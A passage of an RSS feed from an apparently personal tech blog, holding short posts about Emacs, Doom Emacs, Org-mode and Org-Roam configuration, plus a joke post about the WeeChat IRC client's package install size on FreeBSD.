CAUTION: It&amp;rsquo;s pretty possible &lt;code>grep-program&lt;/code> may be used by other Emacs functions that may expect grep-specific output.&lt;/p></description></item><item><title>Weechat is a lightweight IRC client</title><link>https://codelearn.me/2023/05/31/weechat_is_lightweight.html</link><pubDate>Wed, 31 May 2023 00:00:00 +0000</pubDate><guid>https://codelearn.me/2023/05/31/weechat_is_lightweight.html</guid><description>&lt;p>&lt;strong>This is more of a joke post&lt;/strong>.&lt;/p>
&lt;h2 id="weechat-is-lightweight">Weechat is lightweight&lt;/h2>
&lt;p>Weechat is incredible, terminal based IRC client, that I wanted to install
recently on my FreeBSD instance.&lt;/p>
&lt;p>It&amp;rsquo;s &lt;u>lightweight&lt;/u>.&lt;/p>
&lt;p>Here is log from my &lt;code>pkg install weechat&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span>user@server&lt;span style="color:#f92672">]&lt;/span>&lt;span style="color:#75715e"># pkg install weechat&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Updating FreeBSD repository catalogue...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>FreeBSD repository is up to date.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>All repositories are up to date.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>The following &lt;span style="color:#ae81ff">18&lt;/span> package&lt;span style="color:#f92672">(&lt;/span>s&lt;span style="color:#f92672">)&lt;/span> will be affected &lt;span style="color:#f92672">(&lt;/span>of &lt;span style="color:#ae81ff">0&lt;/span> checked&lt;span style="color:#f92672">)&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>New packages to be INSTALLED:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> aspell: 0.60.8_1,1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> glib: 2.72.2,2
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> gmp: 6.2.1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> gnutls: 3.7.6
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> libedit: 3.1.20210910,1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> libiconv: 1.16
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> liblz4: 1.9.3,1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> libtasn1: 4.18.0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> libunwind: 20211201_1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> lua52: 5.2.4
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> nettle: 3.8
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> p11-kit: 0.24.1_1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> pcre: 8.45_1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> perl5: 5.32.1_1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ruby: 3.0.4_2,1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> tcl86: 8.6.12
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> weechat: 3.5_2
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> zstd: 1.5.2
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Number of packages to be installed: &lt;span style="color:#ae81ff">18&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>The process will require &lt;span style="color:#ae81ff">219&lt;/span> MiB more space.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">40&lt;/span> MiB to be downloaded.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Proceed with this action? &lt;span style="color:#f92672">[&lt;/span>y/N&lt;span style="color:#f92672">]&lt;/span>:
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;strong>219 MiB&lt;/strong> - isn&amp;rsquo;t it funny? I think it is.&lt;br/>
Slack &lt;code>*.dmg&lt;/code> file for MacOS takes &lt;strong>168 MiB&lt;/strong>.&lt;/p>
&lt;h2 id="seriously">Seriously&lt;/h2>
&lt;p>Weechat itself is just &lt;strong>26 MiB&lt;/strong>. It also really is lightweight and
feels fast. The number of extension is just countless. Number of color themes and layouts is huge too.&lt;/p>
&lt;p>The 219 MiB comes from dependencies and you can see there are few programming languages are going to be installed:&lt;/p>
&lt;ul>
&lt;li>perl&lt;/li>
&lt;li>lua&lt;/li>
&lt;li>ruby&lt;/li>
&lt;li>tcl&lt;/li>
&lt;/ul>
&lt;p>These are not direct dependencies of weechat. It&amp;rsquo;s just weechat&amp;rsquo;s extension system allows you to use many programming languages to write extensions.&lt;/p></description></item><item><title>Emacs has built-in thread macros</title><link>https://codelearn.me/2023/05/28/emacs_thread_macros.html</link><pubDate>Sun, 28 May 2023 00:00:00 +0000</pubDate><guid>https://codelearn.me/2023/05/28/emacs_thread_macros.html</guid><description>&lt;h2 id="intro">Intro&lt;/h2>
&lt;p>Surprisingly for me I just discovered that Emacs Lisp has equivalent
of Clojure&amp;rsquo;s &lt;code>-&amp;gt;&lt;/code> and &lt;code>-&amp;gt;&amp;gt;&lt;/code> macros.&lt;/p>
&lt;p>And I&amp;rsquo;m not talking about &lt;code>dash.el&lt;/code>. I&amp;rsquo;m talking about built-in &lt;code>thread-first&lt;/code> and &lt;code>thread-last&lt;/code>.&lt;/p>
&lt;h2 id="what-are-these">What are these&lt;/h2>
&lt;p>If you&amp;rsquo;re not familiar with these beautiful macros, the main goal is to pipe a value through multiple functions
and return the result.&lt;/p>
&lt;p>&lt;code>-&amp;gt;&lt;/code> passes a value as first argument of next function, then takes the result and passes it as first argument to next function, etc.&lt;br>
&lt;code>-&amp;gt;&amp;gt;&lt;/code> does the same except that it passes the result as next function&amp;rsquo;s last argument&lt;/p>
&lt;h3 id="example">Example&lt;/h3>
&lt;p>Instead of having this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-lisp" data-lang="lisp">&lt;span style="display:flex;">&lt;span>(&lt;span style="color:#a6e22e">+&lt;/span> (&lt;span style="color:#a6e22e">-&lt;/span> (&lt;span style="color:#a6e22e">/&lt;/span> (&lt;span style="color:#a6e22e">+&lt;/span> &lt;span style="color:#ae81ff">5&lt;/span> &lt;span style="color:#ae81ff">20&lt;/span>) &lt;span style="color:#ae81ff">25&lt;/span>)) &lt;span style="color:#ae81ff">40&lt;/span>)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>we can have this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-lisp" data-lang="lisp">&lt;span style="display:flex;">&lt;span>(-&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ae81ff">5&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> (&lt;span style="color:#a6e22e">+&lt;/span> &lt;span style="color:#ae81ff">20&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> (&lt;span style="color:#a6e22e">/&lt;/span> &lt;span style="color:#ae81ff">25&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">-&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> (&lt;span style="color:#a6e22e">+&lt;/span> &lt;span style="color:#ae81ff">40&lt;/span>))
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>It&amp;rsquo;s way easier to modify and which is even more important - to read.&lt;/p>
&lt;h2 id="emacs-lisp-equivalent">Emacs lisp equivalent&lt;/h2>
&lt;p>There is &lt;code>dash.el&lt;/code> library that provides us with similar macros (and many more) but emacs has built-in &lt;code>thread-first&lt;/code> and &lt;code>thread-last&lt;/code>.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-lisp" data-lang="lisp">&lt;span style="display:flex;">&lt;span>(thread-first
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ae81ff">5&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> (&lt;span style="color:#a6e22e">+&lt;/span> &lt;span style="color:#ae81ff">20&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> (&lt;span style="color:#a6e22e">/&lt;/span> &lt;span style="color:#ae81ff">25&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">-&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> (&lt;span style="color:#a6e22e">+&lt;/span> &lt;span style="color:#ae81ff">40&lt;/span>))
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>will work for you if you&amp;rsquo;re on Emacs 25 or newer.&lt;/p>
&lt;p>I don&amp;rsquo;t write much elisp but every time I do I feel like I miss those &lt;code>-&amp;gt;&lt;/code>/&lt;code>-&amp;gt;&amp;gt;&lt;/code>.&lt;/p>
&lt;p>Not anymore!&lt;/p></description></item><item><title>Emacs: A few issues of Org-Roam</title><link>https://codelearn.me/2023/05/25/org_roam_issues.html</link><pubDate>Thu, 25 May 2023 00:00:00 +0000</pubDate><guid>https://codelearn.me/2023/05/25/org_roam_issues.html</guid><description>&lt;h2 id="intro">Intro&lt;/h2>
&lt;p>It has been almost a year since I started to use Org-Roam.
I initially migrated from Obsidian even though I was incredibly happy with it.&lt;/p>
&lt;p>Recently I started to take more notes than usual and noticed that Org-Roam has some issues
that for me aren&amp;rsquo;t critical but disturbing.&lt;/p>
&lt;h2 id="issues">Issues&lt;/h2>
&lt;h3 id="no-build-in-search-functionality">No build-in search functionality&lt;/h3>
&lt;p>There is just no something like &lt;code>M-x org-roam-search&lt;/code>.&lt;/p>
&lt;p>I&amp;rsquo;m pretty sure there is no such thing because it&amp;rsquo;s Emacs and you can search any directory you want very quickly
using built-in &lt;code>grep&lt;/code>, &lt;code>rgrep&lt;/code> or other tools like that.
And of course you can make a function off of that and then bind it to a key chord you like.&lt;/p>
&lt;p>But having such function already there will not force Org-Roam users to add more
lines to their config.&lt;/p>
&lt;h3 id="org-roam-node-insert---dont-understand-a-word-at-point">org-roam-node-insert - don&amp;rsquo;t understand a word at point&lt;/h3>
&lt;p>&lt;code>org-roam-node-insert&lt;/code> is very useful. Is how you link notes together.&lt;/p>
&lt;p>At the moment when note is typed I usually quickly review it and then connect it to other notes.
In such a case I move my cursor to a word that I&amp;rsquo;m going to use as a link and type that command.&lt;/p>
&lt;p>The minibuffer starts listing all the notes but the &amp;ldquo;linking word&amp;rdquo; my cursor is at isn&amp;rsquo;t used.&lt;/p>
&lt;p>There is no such issue in case you mark a word and then call &lt;code>M-x org-roam-node-insert&lt;/code>.&lt;/p>
&lt;p>Again, since it&amp;rsquo;s Emacs it should be quite easy to fix.&lt;/p>
&lt;p>It would be nice to have it default though. I can&amp;rsquo;t find arguments against it.&lt;/p>
&lt;h3 id="note-creation-date">Note creation date&lt;/h3>
&lt;p>Yes, it is in a file name BUT&lt;/p>
&lt;p>if you use grep or even something like consult-grep for searching in your notes you will not be able to
filter your results by a date.&lt;/p>
&lt;p>It probably can be fixed with org roam templates.&lt;/p>
&lt;h3 id="note-ids">Note IDs&lt;/h3>
&lt;p>I was able to find many complains about it.&lt;/p>
&lt;p>For me it&amp;rsquo;s not that serious in terms of fear that my notes and links may stop working
if I loose the roam db (the db is just a cache) or roam is not supported anymore (org files are text).&lt;/p>
&lt;p>The main issue for me here is that I can&amp;rsquo;t understand the links if I open my notes in an editor that
doesn&amp;rsquo;t have Org Mode. It sometimes happens. It happens on my Android. It happens on my Windows machine that I barely use and I don&amp;rsquo;t even need Emacs there.&lt;/p>
&lt;p>In such a case I see the link with an ID and description of that link which sometimes doesn&amp;rsquo;t exactly match a note file name.&lt;/p>
&lt;p>If org format is pure text and intended to be human readable, it&amp;rsquo;s probably should stay this way.&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>It should be understood that Org-Roam is open source and community driven. It definitely can be improved as, probably, any software.&lt;/p>
&lt;p>The only person I can blame for not implementing those functionalities I mentioned is me.
The project is opened for everyone to contribute (including me) so I hope I can fix those things somehow.&lt;/p></description></item><item><title>Org-mode archive with inherited tags</title><link>https://codelearn.me/2023/05/19/org-mode-archive-with-tags.html</link><pubDate>Fri, 19 May 2023 00:00:00 +0000</pubDate><guid>https://codelearn.me/2023/05/19/org-mode-archive-with-tags.html</guid><description>&lt;h2 id="the-issue">The issue&lt;/h2>
&lt;p>By default only the tags directly attached to an org record will be saved in the archive file.
I want to keep all the tags attached to an org record when I archive it, even the inherited ones.&lt;/p>
&lt;h2 id="explanation">Explanation&lt;/h2>
&lt;p>In org-mode tags are inherited by default. In case of org tree like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-markdown" data-lang="markdown">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">*&lt;/span> Header1 :tag1:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>** Sub Header1 :subtag1:
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>you may find that &lt;strong>Sub Header1&lt;/strong> has &lt;code>:tag1:subtag1:&lt;/code> tags attached to it.&lt;/p>
&lt;p>This is something reflected in Agenda view.
Also if you try to find headers with &lt;code>:tag1:&lt;/code> &lt;br/>the &lt;strong>Sub Header1&lt;/strong> will be one of those even though
we didn&amp;rsquo;t directly attach that tag to it. That&amp;rsquo;s the tag inheritance.&lt;/p>
&lt;p>If you try to archive &lt;strong>Sub Header1&lt;/strong> you will get this kind of record in the *_archive.org file:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-markdown" data-lang="markdown">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">*&lt;/span> Sub Header1 :subtag1: &amp;lt;&lt;span style="color:#f92672">---&lt;/span> &lt;span style="color:#a6e22e">this&lt;/span> &lt;span style="color:#a6e22e">is&lt;/span> &lt;span style="color:#a6e22e">the&lt;/span> &lt;span style="color:#a6e22e">tag&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">:PROPERTIES:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">:ARCHIVE_TIME:&lt;/span> &lt;span style="color:#960050;background-color:#1e0010">&amp;lt;&lt;/span>&lt;span style="color:#a6e22e">date&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> :ARCHIVE_FILE: &amp;lt;&lt;span style="color:#f92672">original&lt;/span> &lt;span style="color:#a6e22e">org&lt;/span> &lt;span style="color:#a6e22e">file&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> :ARCHIVE_OLPATH: &amp;lt;&lt;span style="color:#f92672">org&lt;/span> &lt;span style="color:#a6e22e">path&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> :ARCHIVE_CATEGORY: &amp;lt;&lt;span style="color:#f92672">org&lt;/span> &lt;span style="color:#a6e22e">file&lt;/span> &lt;span style="color:#a6e22e">category&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> :ARCHIVE_ITAGS: tag1 &amp;lt;&lt;span style="color:#f92672">---&lt;/span> &lt;span style="color:#a6e22e">this&lt;/span> &lt;span style="color:#a6e22e">is&lt;/span> &lt;span style="color:#a6e22e">the&lt;/span> &lt;span style="color:#a6e22e">inherited&lt;/span> &lt;span style="color:#a6e22e">tags&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">:END:&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>As you can see the &lt;code>tag1&lt;/code> is missing in the heading. It is available in the &lt;code>ARCHIVE_ITAGS&lt;/code> though.
For me it would be much better if I can see all the tags immediately in the record heading. It will also allow me to filter
my archived records by those tags.&lt;/p>
&lt;h2 id="solution">Solution&lt;/h2>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-emacs-lisp" data-lang="emacs-lisp">&lt;span style="display:flex;">&lt;span>(setq org-archive-subtree-add-inherited-tags &lt;span style="color:#66d9ef">t&lt;/span>)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>It&amp;rsquo;s as easy as that. Now the archived heading will look like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-markdown" data-lang="markdown">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">*&lt;/span> Sub Header1 :tag1:subtag1:
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>which is exactly what I wanted.&lt;/p></description></item><item><title>Doom Emacs Search Documentation</title><link>https://codelearn.me/2023/05/13/doom-search-docs.html</link><pubDate>Sat, 13 May 2023 00:00:00 +0000</pubDate><guid>https://codelearn.me/2023/05/13/doom-search-docs.html</guid><description>&lt;p>Just a quick note on how easy it is to actually navigate Doom Emacs documentation and modules.&lt;/p>
&lt;p>I initially was a little afraid that I will not be able to understand what each Doom module does
and there always will be some hidden functionaltiy that will be hard for me to find.&lt;/p>
&lt;p>Fortunately there is M-x &lt;code>M-x doom/help-search-headings&lt;/code> that allows me to search through
Doom documentation. Specifically it allows me to search through org headings of the documentation.&lt;/p>
&lt;p>I can easily find a module I&amp;rsquo;m interested in, let&amp;rsquo;s say &lt;code>lsp&lt;/code>.
Then I&amp;rsquo;ll go there and I can see all the documentation of the module. I can see what packages will be installed and what configuration
options available for the module (e.g. &lt;code>+eglot&lt;/code> for &lt;code>lsp&lt;/code>).
Being in the &lt;code>README.org&lt;/code> of a module I can also open &lt;code>config.el&lt;/code> which is in the same directory and I&amp;rsquo;ll be able to inspect
all the Elisp that module will add into my Emacs.&lt;/p>
&lt;p>If you&amp;rsquo;d like to search not just headings but everything then &lt;code>M-x doom/help-search&lt;/code> is your friend.&lt;/p>
&lt;p>I start to like Doom more and more every day.&lt;/p></description></item><item><title>Doom Emacs - Turn LSP off by default for PHP files</title><link>https://codelearn.me/2023/05/09/doom-emacs-lsp-off.html</link><pubDate>Tue, 09 May 2023 00:00:00 +0000</pubDate><guid>https://codelearn.me/2023/05/09/doom-emacs-lsp-off.html</guid><description>&lt;p>I&amp;rsquo;m trying to get used to Doom Emacs and one issue I have is that LSP (in my case Eglot) starts automatically
when I open up a php project.&lt;/p>
&lt;p>I don&amp;rsquo;t really like it because sometimes I open php files that I don&amp;rsquo;t need autocompletion for
and I don&amp;rsquo;t want to remember that there is Eglot process now running that I have to stop to save some resources of my laptop.&lt;/p>
&lt;p>It happens because I have defined &lt;code>php&lt;/code> module in &lt;code>init.el&lt;/code> as &lt;code>(php +lsp)&lt;/code>.
The reason I have it defined like this is because I need LSP.
I just don&amp;rsquo;t want to start it automatically every time I open a php file.&lt;/p>
&lt;p>I like how easy it is in Doom to inspect the module implementation so I went to Doom&amp;rsquo;s &lt;code>modules/lang/php/config.el&lt;/code> and I found
that there is no flag that can force LSP to not start automatically.&lt;/p>
&lt;p>What it has though is this line:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-emacs-lisp" data-lang="emacs-lisp">&lt;span style="display:flex;">&lt;span>(add-hook &lt;span style="color:#e6db74">&amp;#39;php-mode-local-vars-hook&lt;/span> &lt;span style="color:#a6e22e">#&amp;#39;&lt;/span>lsp! &lt;span style="color:#e6db74">&amp;#39;append&lt;/span>)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>It looks to me like something that starts the LSP automatically. It looks like this mostly because everything else looks pretty much unrelated to LSP.&lt;/p>
&lt;p>Since there is no flag, let&amp;rsquo;s solve it in our own config by directly removing that &lt;code>lsp!&lt;/code> piece from that variable:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-emacs-lisp" data-lang="emacs-lisp">&lt;span style="display:flex;">&lt;span>(after! php-mode
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> (remove-hook &lt;span style="color:#e6db74">&amp;#39;php-mode-local-vars-hook&lt;/span> &lt;span style="color:#a6e22e">#&amp;#39;&lt;/span>lsp!))
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This will remove that &lt;code>lsp!&lt;/code> piece from &lt;code>php-mode-local-vars-hook&lt;/code> and now LSP won&amp;rsquo;t start automatically.&lt;/p>
&lt;p>It would make sense probably to add such a flag so users can easily turn off the auto-LSP but at the same time solution to this
is just one line so maybe it wouldn&amp;rsquo;t make sense to add it.&lt;/p></description></item><item><title>Trying Doom once again</title><link>https://codelearn.me/2023/05/08/keep_trying_doom.html</link><pubDate>Mon, 08 May 2023 00:00:00 +0000</pubDate><guid>https://codelearn.me/2023/05/08/keep_trying_doom.html</guid><description>&lt;p>&lt;a href="https://codelearn.me/2022/06/04/emacs-config-from-scratch.html">Almost a year ago&lt;/a> I already tried to start using Doom config which
I eventually replaced with my own vanilla config.&lt;/p>
&lt;p>Today I decided to try it once again. I also wanted to use it in Evil mode
to make my hands feel better.&lt;/p>
&lt;p>One of my main pain point with someone else&amp;rsquo;s config is that I don&amp;rsquo;t know how to handle it,
what options are available and why things work in the way they do.&lt;/p>
&lt;p>Since I was on my own config for quite some time I believe I know enough about
Emacs configuration to attempt Doom config once again.&lt;/p>
&lt;h2 id="first-impression">First impression&lt;/h2>
&lt;p>Well, it&amp;rsquo;s not first. If I&amp;rsquo;m not mistaken it&amp;rsquo;s my third or fourth attempt to use Doom.&lt;/p>
&lt;p>So far it feels ok. I ported some configuration from my vanilla config. Added packages I need and things seems working smoothly.&lt;/p>
&lt;p>It&amp;rsquo;s interesting to see that Doom preferably switched to &lt;code>project&lt;/code> mode instead of &lt;code>projectile&lt;/code> at least this is what I see
based on keybindings that are set for &lt;code>project&lt;/code> mode and no keybindings at all for &lt;code>projectile&lt;/code>.&lt;/p>
&lt;p>My custom org agendas and some other custom functions were ported with just simple copy-paste technique.&lt;/p>
&lt;h2 id="what-i-like">What I like&lt;/h2>
&lt;ul>
&lt;li>It&amp;rsquo;s really great to see the &lt;code>M-x doom/help&lt;/code> exists. Everything is documented or at least most of the things.&lt;/li>
&lt;li>There is also &lt;code>M-x doom/help-search&lt;/code> which is very useful when you need to find a specific help.
&lt;ul>
&lt;li>The documentation can be improved probably. There is no info about how to change &lt;code>evil escape sequence&lt;/code> to something different from default. At least the &lt;code>doom/help-search&lt;/code> mentions the &lt;code>evil-escape&lt;/code> package which user then can google and find how to change that escape sequence.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>I love doom modules. Community has already spent good amount of time tweaking every module and in most of the cases I don&amp;rsquo;t need to do much to reconfigure it.&lt;/li>
&lt;li>LSP module is nice and works with Eglot. What&amp;rsquo;s great is that other modules (like PHP for example) already aware that LSP module can use Eglot and when I open a php file my Eglot just starts and works.&lt;/li>
&lt;li>Evil mode and all keybindings that already configured are incredible.&lt;/li>
&lt;li>General look and feel is way better than I could achieve with my vanilla config.&lt;/li>
&lt;li>Org looks great and evil keybindings are very nice configured.&lt;/li>
&lt;li>I like the way configuration works and some useful macros provided by Doom&lt;/li>
&lt;/ul>
&lt;h2 id="what-i-need-to-understandchange">What I need to understand/change&lt;/h2>
&lt;ul>
&lt;li>Documentation is sometimes lacking. That&amp;rsquo;s hopefully something I can help with.&lt;/li>
&lt;li>I don&amp;rsquo;t like that LSP/Eglot starts automatically. I do believe &amp;ldquo;start automatically by default&amp;rdquo; is a good choice though.&lt;/li>
&lt;li>There are no projectile keybindings and there is no my favorite &lt;code>projectile-run-vterm&lt;/code>. Easy fix though.&lt;/li>
&lt;li>I don&amp;rsquo;t really understand a point of &lt;code>+vterm/toggle&lt;/code>. It works great in one project but when I open a second one then this function still opens up the vterm that belongs to that first project.&lt;/li>
&lt;li>&lt;code>doom/reload-theme&lt;/code> - probably doesn&amp;rsquo;t work on my end. When I set &lt;code>doom-theme&lt;/code> variable to something else/non-default and then call &lt;code>M-x doom/reload-theme&lt;/code> nothing changes. I have to use &lt;code>M-x consult-theme&lt;/code> to actually change a theme.&lt;/li>
&lt;li>I still need to figure out how to use &lt;code>after!&lt;/code>. I initially thought that this macro&amp;rsquo;s first argument is something that is mentioned in &lt;code>init.el -&amp;gt; doom!&lt;/code> call but apparently I should specify an emacs package name there.&lt;/li>
&lt;/ul>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>In general, I love the feeling. It took me almost no time to get used to vim keybindings and keep coding like nothing&amp;rsquo;s changed.
Probably my vim past is already too deep in my muscle memory. I&amp;rsquo;m glad my emacs past is also quite deep so I feel like I can seamlessly
switch from one way of editing to another.&lt;/p></description></item><item><title>Org Agenda - show archived records by default</title><link>https://codelearn.me/2023/04/13/emcas-org-agenda-archives.html</link><pubDate>Thu, 13 Apr 2023 00:00:00 +0000</pubDate><guid>https://codelearn.me/2023/04/13/emcas-org-agenda-archives.html</guid><description>&lt;p>If you didn&amp;rsquo;t know, there are two methods of archiving subtrees
in Emacs&amp;rsquo; Org-mode.&lt;/p>
&lt;ul>
&lt;li>Internal archiving (mark an item as ARCHIVED but keep it in the file)&lt;/li>
&lt;li>Moving subtrees (move an item or subtree to *_archive.org file)&lt;/li>
&lt;/ul>
&lt;p>I often use the latter but the issue here is that all my items
got disappeared from Org Agenda view when archived.&lt;/p>
&lt;p>You can tell Org Agenda to show archived records by pressing
&lt;code>v A&lt;/code> in &lt;code>*Org Agenda*&lt;/code> buffer.
Notice upper-cased &lt;code>A&lt;/code>. If you use lowercase &lt;code>a&lt;/code> then only internally
archived records will be shown.&lt;/p>
&lt;p>What &lt;code>v A&lt;/code> does is it calling &lt;code>(org-agenda-archives-mode 'files)&lt;/code>
which internally sets &lt;code>org-agenda-archives-mode&lt;/code> variable to &lt;code>t&lt;/code>.&lt;/p>
&lt;p>This is what we can do in our &lt;code>init.el&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-emacs-lisp" data-lang="emacs-lisp">&lt;span style="display:flex;">&lt;span>(setq org-agenda-archives-mode &lt;span style="color:#66d9ef">t&lt;/span>)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Done!&lt;/p></description></item><item><title>Emacs &amp; Wgrep</title><link>https://codelearn.me/2023/04/11/emacs-wgrep.html</link><pubDate>Tue, 11 Apr 2023 00:00:00 +0000</pubDate><guid>https://codelearn.me/2023/04/11/emacs-wgrep.html</guid><description>&lt;p>So I just discovered &lt;code>wgrep&lt;/code> mode of a grep buffer in Emacs and it&amp;rsquo;s incredible.&lt;/p>
&lt;p>I often use &lt;code>projectile-ripgrep&lt;/code> if I need to find something in the project I&amp;rsquo;m working on.
But if I wanted to rename some variables or strings that I grepped I had to go and manually update them or use something like
&lt;code>projectile-replace&lt;/code>.&lt;/p>
&lt;p>But turns out there is &lt;code>wgrep&lt;/code> mode that is available from &lt;code>projectile-ripgrep&lt;/code> (&lt;code>*rg*&lt;/code>) buffer or from &lt;code>*grep*&lt;/code> buffer.&lt;/p>
&lt;p>In case of you &lt;code>ripgrep&lt;/code> you just press letter &lt;code>e&lt;/code> and now you can edit anything you want. Then you press &lt;code>C-x C-s&lt;/code> and now all the changes
are made. Amazing.&lt;/p>
&lt;p>Here is an example. Let&amp;rsquo;s try to find and replace &lt;code>projectile-&lt;/code> string in this blog:&lt;/p>
&lt;p>Here is what was found (image is clickable)&lt;/p>
&lt;p>&lt;a target="_blank" ref="/assets/img/emacs-grep-projectile.png">&lt;img alt="grep view" src="https://codelearn.me/assets/img/emacs-grep-projectile.png" width="550px"/>&lt;/a>&lt;/p>
&lt;p>now I press &lt;code>e&lt;/code> and I can edit the buffer. It says this in the message area:&lt;/p>
